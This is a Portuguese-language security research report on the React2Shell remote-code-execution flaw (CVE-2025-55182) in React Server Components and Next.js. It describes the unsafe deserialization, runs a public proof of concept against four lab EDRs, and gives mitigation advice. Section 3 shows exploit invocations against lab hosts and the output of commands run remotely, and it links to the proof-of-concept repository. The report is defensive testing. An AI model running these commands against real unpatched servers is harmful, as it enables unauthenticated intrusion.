1. Introdução
Como já discutido em uma postagem anterior aqui no “O Diário” O React é uma biblioteca gratuita e open-source para JavaScript, amplamente utilizada na construção de interfaces web modernas. Embora originalmente projetado para execução no lado do cliente, suas versões mais recentes passaram a integrar mecanismos de renderização no servidor por meio dos React Server Components, suportados pelo React Flight Protocol. Essa adoção massiva faz com que vulnerabilidades em seu ecossistema, especialmente nas camadas server-side introduzidas recentemente, possam ter impactos significativos. É o caso da vulnerabilidade apelidada “React2Shell”, catalogada como CVE-2025-55182 pela National Vulnerability Database (NVD) em 3 de dezembro de 2025.
Este relatório tem como objetivo apresentar e demonstrar uma Prova de Conceito (PoC) pública relacionada à CVE-2025-55182, como esta pode ser explorada e o porquê de ser alarmante e crítica.
Além disso, investigamos e descobrimos que, de 4 EDRs padrões de mercado testados, 3 deles não conseguiram detectar ou bloquear o ataque.
Serão descritos:
- Aspectos técnicos da vulnerabilidade;
- Um método de exploração em ambiente controlado; e
- Como plataformas de monitoramento são essenciais para a mitigação de ataques cibernéticos.
2. Visão Geral
A CVE-2025-55182 é uma vulnerabilidade de execução remota de código (RCE) que afeta aplicações que utilizam React Server Components por meio do React Flight Protocol, incluindo frameworks como o Next.js até a versão 16.0.6. A falha permite que um atacante execute comandos arbitrários no servidor enviando payloads maliciosos em requisições POST. A exploração ocorre devido à forma inadequada como o servidor desserializa estruturas recebidas pelo RFP: as funções responsáveis pela reconstrução dos modelos, em especial reviveModel(), não validam corretamente objetos contendo o campo __proto__ e cadeias de métodos then. Isso possibilita a introdução de um pseudo-objeto capaz de manipular o protótipo e acessar o construtor global Function, utilizado para executar comandos do sistema operacional sem autenticação ou privilégios adicionais.
2.1. Detalhes Técnicos
De acordo com indicadores oficiais, os seguintes detalhes foram levantados:
2.2. Principal Vetor
O principal vetor de exploração da CVE-2025-55182 consiste no envio de requisições POST contendo payloads maliciosos que se passam por objetos válidos do React Flight Protocol. Esses payloads utilizam pseudo-objetos, incluindo estruturas manipuladas com campos como __proto__ e cadeias then, que exploram a desserialização insegura realizada pelo servidor. Ao aceitar e processar esses objetos sem validação adequada, o RFP permite que o atacante desencadeie execução arbitrária de código no ambiente server-side.
2.3. Grupos de Criminosos
Segundo a equipe de threat intelligence da Amazon, diversos atores de ameaça classificados como China-nexus, incluindo Earth Lamia e Jackpot Panda, iniciaram a exploração da CVE-2025-55182 poucas horas após sua divulgação em 3 de dezembro de 2025. Em análises de casos semelhantes envolvendo vulnerabilidades de desserialização e execução remota de código. A Unit 42 observou que esses grupos tendem a desenvolver rapidamente variantes próprias dos exploits, ajustando payloads e técnicas de obfuscar para aumentar a taxa de sucesso e reduzir a detecção. Esse padrão, já documentado pela Unit 42 em outras campanhas com perfis similares, reforça a probabilidade de múltiplos atores terem adaptado rapidamente a PoC pública para explorar React2Shell de diferentes maneiras.
3. Explorando a CVE-2025-55182
Foram utilizados 5 ambientes de laboratório, a fim de simular ambientes vulneráveis e um atacante para testar o comportamento da CVE-2025-55182 e avaliar a competência de diferentes monitoradores de dispositivos (EDRs – Endpoint Detection and Response).
Os ambientes propositalmente vulneráveis foram configurados com sistema operacional Windows 11 e utilizando a versão vulnerável Next.js 16.0.0 para o web-server, totalizando 4 ambientes com soluções de EDR distintas (os nomes dos EDRs não serão divulgados). Para simular o atacante utilizou-se o Kali Linux sem modificações.
IMPORTANTE: Note que nosso foco foi pesquisar EDRs, portanto, propositalmente, não foram utilizadas outras camadas de proteção, tais como WAF ou firewall local. Note também que o ataque não seria possível caso o Next.js já tivesse sido atualizado, ou seja, a aplicação de path é uma das camadas de segurança capaz de deter esse ataque.
Os testes e ensaios foram realizados entre os dias 8 a 12/12/2025 no laboratório ACME! Cybersecutiry Research, na UNESP de São José do Rio Preto. Todos os experimentos foram repetidos 3 vezes para verificação de erros.
3.1. Construção do Exploit e Criação do Payload
A exploração foi realizada utilizando a PoC disponibilizada publicamente no GitHub em 4 de dezembro de 2025 pelo engenheiro de software Moritz Sanft (“msanft”). A PoC é composta por um script em Python responsável por construir o payload malicioso e enviá-lo a um servidor vulnerável. O repositório também inclui a pasta test-server, contendo um ambiente mínimo baseado em Next.js com React Server Components, utilizado para demonstrar a vulnerabilidade em funcionamento
De forma resumida, as etapas adotadas no laboratório foram as seguintes:
- Instalar o Node.js e Next.js, nas versões vulneráveis nos ambientes alvo, garantindo que o projeto com RSC esteja devidamente configurado.
- Acessar a pasta test-server ou o diretório correspondente pelo terminal, e executar o comando ‘npm run dev’ para iniciar o servidor.
- No ambiente ofensivo (Kali Linux), executar o script ‘poc.py’ fornecido na PoC, informando argumentos necessários, simulando a execução remota.
PS C:\Users\[username]\Desktop\CVE2025-55182\test-server> npm install next
up to date, audited 357 packages in 3s
141 packages are looking for funding
run `npm fund` for details
1 critical severity vulnerability
Figura 1 – Node.js indicando vulnerabilidade crítica; note que a versão utilizada está, de fato, exposta.
3.2. Execução da PoC
O script da PoC (poc.py) aceita dois argumentos chaves, endereço IPv4+Porta (por exemplo, “127.0.0.0:80”) seguido pelo comando shell desejado ou payload (“whoami” ou até um reverse shell). Durante a execução no ambiente Kali Linux, o script constrói o ‘chunk’ serializado do Flight Protocol abusando da falha de desserialização, anexando a poluição do proto e o objeto “then-ável” que dispara durante a resolução do servidor nos ambientes.
O atacante executa comandos simples, como:
$ python3 poc.py 192.168.X.X "echo teste"
$ python3 poc.py 192.168.X.X "dir"
┌─(kali@kali)-[~] └─$ python3 PoC_react/poc.py "http://172.31.222.25:3000" "echo pwnd by sylvester" 500 :N176530853660.821 0:{"a":"$@1","f":"","b":"development"} 1:D["time":0.649100000002363Z] 1:E["digest":"pwnd by sylvester","name":"Error","message":"NEXT_REDIRECT","stack":[],"env":"Server","owner":null] ┌─(kali@kali)-[~] └─$ python3 PoC_react/poc.py "http://172.31.222.25:3000" "dir" 500 :N176530855033Z.197 0:{"a":"$@1","f":"","b":"development"} 1:D["time":0.465700000006519] 1:E["digest":"Volume in drive C has no label.\r\n Volume Serial Number is E86C-A9DF\r\n\r\n Directory of C:\Users\fantomas\Drive\PoC-2025-5-3-mail-main\test-server\n\n 12/09/2025 04:23 PM <DIR> . 12/09/2025 04:23 PM -0 .gitignore\r\n12/09/2025 04:28 PM 480 .gitignore\r\n12/09/2025 04:23 PM <DIR> next\r\n12/09/2025 04:23 PM 465 eslint.config.mjs\r\n12/09/2025 04:28 PM 257 next-env.d.ts\r\n12/09/2025 04:23 PM 1 33 next.config.ts\r\n12/09/2025 04:28 PM <DIR> node_modules\r\n12/09/2025 04:28 PM 227,243 package-lock.json\r\n12/09/2025 04:23 PM 567 package.json\r\n12/09/2025 04:23 PM <DIR> public\r\n12/09/2025 04:23 PM 1,450 README.md\r\n12/09/2025 04:23 PM 338,468 bytes\r\n12/09/2025 04:23 PM 0 File(s) 107,770,0 97,664 bytes free","name":"Error","message":"NEXT_REDIRECT","stack":[],"env":"Server","owner":null]
Figura 2 – Disparo da PoC pelo atacante
Invalid source map. Only conformant source maps can be used to find the original code. Cause: Error: sourceMap URL could not be parsed ✖ Error: NEXT_REDIRECT at ignore-listed frames { digest: 'Volume in drive C has no label.\r\n' + 'Volume Serial Number is E86C-A9DF\r\n' + '\r\n' + 'Directory of C:\\Users\\jubaluba\\lala\\CVE-2025-55182-main\\test-server\r\n' + '\r\n' + '12/09/2025 04:28 PM <DIR> .\r\n' + '12/09/2025 04:23 PM <DIR> ..\r\n' + '12/09/2025 04:23 PM 480 .gitignore\r\n' + '12/09/2025 04:28 PM <DIR> .next\r\n' + '12/09/2025 04:23 PM <DIR> app\r\n' + '12/09/2025 04:23 PM 107,113 bun.lock\r\n' + '12/09/2025 04:23 PM 465 eslint.config.mjs\r\n' + '12/09/2025 04:28 PM 257 next-env.d.ts\r\n' + '12/09/2025 04:23 PM 133 next.config.ts\r\n' + '12/09/2025 04:28 PM <DIR> node_modules\r\n' + '12/09/2025 04:28 PM 227,243 package-lock.json\r\n' + '12/09/2025 04:23 PM 567 package.json\r\n' + '12/09/2025 04:23 PM 94 postcss.config.mjs\r\n' + '12/09/2025 04:23 PM <DIR> public\r\n' + '12/09/2025 04:23 PM 1,450 README.md\r\n' + '12/09/2025 04:23 PM 666 tsconfig.json\r\n' + ' 10 File(s) 338,468 bytes\r\n' + ' 6 Dir(s) 107,770,097,664 bytes free' } POST / 500 in 43ms (compile: 4ms, render: 39ms)
Figura 3 – Execução remota no servidor
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 589, in request resp = self.send(prep, **send_kwargs) File "/usr/lib/python3/dist-packages/requests/sessions.py", line 703, in send r = adapter.send(request, **kwargs) File "/usr/lib/python3/dist-packages/requests/adapters.py", line 682, in send raise ConnectionError(err, request=request) requests.exceptions.ConnectionError: ('Connection aborted.', ConnectionResetError(104, 'Connection reset by peer')) ┌─(kali@kali)-[~] └─$ python3 PoC_react/poc.py "http://172.31.222.21:3000" "dir" █
Figura 4 – Mensagem de erro no ambiente atacante após ser interceptado
3.4 Consideraçõe éticas e créditos
Todos os testes foram feitos em rede isolada de laboratório, com versões fora de produção (React 19.00 – 19.2.0), e divulgadas apenas após mitigação; pesquisadores devem creditar devidamente a PoC utilizada, neste caso a Moritz Sanft, e aderir divulgações similares.
O PoC de Sanft explora uma aplicação Next.js padrão (criada via create-next-app), enviando payloads em parâmetros como “0” e “1” para manipular chunks de resposta e executar comandos como “id > /tmp/pwned” via child_process.execSync. Diferente de PoCs iniciais não funcionais (como ejpir/CVE-2025-55182-poc), o código de Sanft foi amplamente adotado em scans reais, precedendo o PoC oficial de Lachlan Davidson.
O repositório oficial é https://github.com/msanft/CVE-2025-55182, contendo explicação detalhada e código completo de RCE para React Server Functions em Next.js. Foi lançado em 4 de dezembro de 2025.
4. Resultados e Observações
Nos testes realizados com os ambiente, observou-se o seguinte comportamento:
Dos 4 agentes de proteção (EDRs) testados, apenas um conseguiu detectar e impedir a atividade maliciosa em tempo real. O agente gerou alertas específicos:
O Monitorador de Rede bloqueou uma tentativa de ataque.
– A tentativa mal-intencionada Exploit.CommandInjection.299[…]
– A tentativa mal-intencionada Exploit.HTTP.CVE-2025-55182[…]
Os alertas identificaram o exploit, a CVE relacionada e o local sendo atacado, além de impedir o ataque. Para os outros 3 ambientes testados, o payload foi extraído sem qualquer alerta, demonstrando a criticidade e evidenciando a necessidade de reforçar os EDR’s com métodos de mitigação, adequados a esta vulnerabilidade, e outras camadas de segurança.
A tabela a seguir resume os resultados observados:
| Ambiente | EDR/Antivírus | Execução do Ataque | Alertas? | Bloqueio? |
| 1 | EDR XPToA | Sucesso | Não | Não |
| 2 | EDR XPToB | Sucesso | Não | Não |
| 3 | EDR XPToC | Sucesso | Não | Não |
| 4 | EDR XPToD | Bloqueado | Sim | Sim |
4.1. Sobre os ambientes que não perceberam qualquer atividade
Os resultados de execução imediata do comando confirmam a necessidade de apenas acessar a rede, dispensando autenticação ou elevação de privilégios, o que permite inferir que a exploração ocorre como um ponto cego nos sistemas que ainda não possuem assinaturas ou modelos de detecção ajustados para o protocolo Flight ou requisições POST em geral.
4.2 Sobre o ambiente que detectou e bloqueou o ataque
Os alertas foram precisos e mencionaram explicitamente a tentativa de injeção de comando, exploração vinculada ao CVE-2025-55182 e a identificação do endpoint alvo. Isso confirma a eficiência e necessidade de agentes monitoradores atualizados e competentes para a segurança de servidores abertos à Internet, uma vez que não é possível prever o surgimento de toda vulnerabilidade capaz de destruir o sistema alvo.
5. Conclusões
A vulnerabilidade CVE-2025-55182 apresenta características típicas de uma falha altamente explorável, combinando baixa complexidade, impacto máximo, exploração silenciosa e ampla superfície de ataque (React + Next.js).
Os resultados laboratoriais evidenciam que assinaturas tradicionais não são suficientes para detectar o ataque — detecção comportamental em nível de processo e rede é determinante para identificar anomalias — e explicam o curto intervalo de tempo entre divulgação e exploração, pela facilidade desta, com grupos ativamente desenvolvendo variantes.
Ambientes que dependem apenas do antivírus nativo ou ferramentas desatualizadas ficam completamente expostos.
6. Mitigação e Recomendações
Para mitigar a vulnerabilidade CVE-2025-55182, recomenda-se:
- Atualizar o Next.js para versão 16.0.7 ou superior – Sendo a ação mais crítica e urgente para todos os ambientes de produção.
- Monitorar eventos ou tentativas de execução de payload – Implementar regras de detecção em plataformas EDR para identificar requisições POST suspeitas direcionadas a Server Functions.
- Implementar Web Application Firewall (WAF) com regras para detectar chaves com ‘$’ e ‘:’ já que são características de ataques abusando dessa vulnerabilidade.
- Manter logs detalhados de requisições POST e analisar regularmente para atividades suspeitas.
- Realizar auditorias de segurança em aplicações React/Next.js para identificar potenciais pontos de exposição.
Caso necessário, é possível atribuir um limite de recursos ao processo do Node.js, isolar em containers (Hardening) ou feature flags para desativar parcialmente a RSC onde não for necessária.
REFERÊNCIAS
[1] NIST National Vulnerability Database, “CVE-2025-55182,” NVD, 3 de dezembro de 2025. [Online]. Disponível em: https://nvd.nist.gov/vuln/detail/CVE-2025-55182. [Acessado em: 10-Dez-2025].
[2] msanft, “CVE-2025-55182,” GitHub, 4 de dezembro de 2025. [Online]. Disponível em: https://github.com/msanft/CVE-2025-55182. [Acessado em: 10-Dez-2025].
[3] CJ Moses, “China-nexus cyber threat groups rapidly exploit React2Shell vulnerability (CVE-2025-55182),” Amazon Security Blog, 4 de dezembro de 2025. [Online]. Disponível em: https://aws.amazon.com/blogs/security/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/. [Acessado em: 10-Dez-2025].
[4] Rapid7, “React2Shell (CVE-2025-55182) – Critical unauthenticated RCE affecting React Server Components,” Rapid7 Blog, 4 de dezembro de 2025 (lançamento); 8 de dezembro de 2025 (atualização). [Online]. Disponível em: https://www.rapid7.com/blog/post/etr-react2shell-cve-2025-55182-critical-unauthenticated-rce-affecting-react-server-components/. [Acessado em: 10-Dez-2025].
